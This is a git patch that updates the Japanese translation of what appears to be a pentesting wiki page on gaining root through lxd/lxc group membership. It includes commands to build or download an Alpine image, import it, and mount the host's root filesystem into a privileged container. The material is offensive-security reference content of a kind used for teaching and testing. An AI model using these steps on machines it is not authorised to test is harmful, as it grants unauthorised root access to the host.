From cbf0238c913ef265134c4e208ecafed76d81da30 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 20 May 2025 15:10:11 +0000 Subject: [PATCH] Translated ['src/linux-hardening/privilege-escalation/interesting-groups --- .../lxd-privilege-escalation.md | 26 ++++++++++--------- 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md index 9ccaf0b98..63ca42fcc 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md @@ -2,24 +2,29 @@ {{#include ../../../banners/hacktricks-training.md}} -_**lxd**_ **または** _**lxc**_ **グループに属している場合、rootになることができます** +もしあなたが _**lxd**_ **または** _**lxc**_ **グループ**に属している場合、rootになることができます。 ## インターネットなしでの悪用 ### 方法 1 -このディストリビューションビルダーをあなたのマシンにインストールできます: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(githubの指示に従ってください): +信頼できるリポジトリからlxdで使用するためのalpineイメージをダウンロードできます。 +Canonicalは彼らのサイトで毎日ビルドを公開しています: [https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/](https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/) +最新のビルドから**lxd.tar.xz**と**rootfs.squashfs**の両方を取得してください。（ディレクトリ名は日付です）。 + +代わりに、このディストリビューションビルダーをあなたのマシンにインストールすることもできます: [https://github.com/lxc/distrobuilder](https://github.com/lxc/distrobuilder)（githubの指示に従ってください）： ```bash -sudo su # Install requirements sudo apt update -sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools +sudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage # Clone repo +mkdir -p $HOME/go/src/github.com/lxc/ +cd $HOME/go/src/github.com/lxc/ git clone https://github.com/lxc/distrobuilder # Make distrobuilder -cd distrobuilder +cd ./distrobuilder make # Prepare the creation of alpine @@ -27,13 +32,10 @@ mkdir -p $HOME/ContainerImages/alpine/ cd $HOME/ContainerImages/alpine/ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml -# Create the container -## Using build-lxd -sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18 -## Using build-lxc -sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18 +# Create the container - Beware of architecture while compiling locally. +sudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86_64 ``` -ファイル **lxd.tar.xz** と **rootfs.squashfs** をアップロードし、イメージをリポジトリに追加してコンテナを作成します: +**incus.tar.xz**（Canonicalリポジトリからダウンロードした場合は**lxd.tar.xz**）と**rootfs.squashfs**をアップロードし、イメージをリポジトリに追加してコンテナを作成します： ```bash lxc image import lxd.tar.xz rootfs.squashfs --alias alpine @@ -50,7 +52,7 @@ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=t ``` > [!CAUTION] > このエラー _**Error: No storage pool found. Please create a new storage pool**_\ -> **`lxd init`** を実行し、前のコマンドのチャンクを **繰り返してください** +> **`lxd init`** を実行し、すべてのオプションをデフォルトで設定します。その後、**前のコマンドの塊を繰り返します** 最後に、コンテナを実行してルートを取得できます: ```bash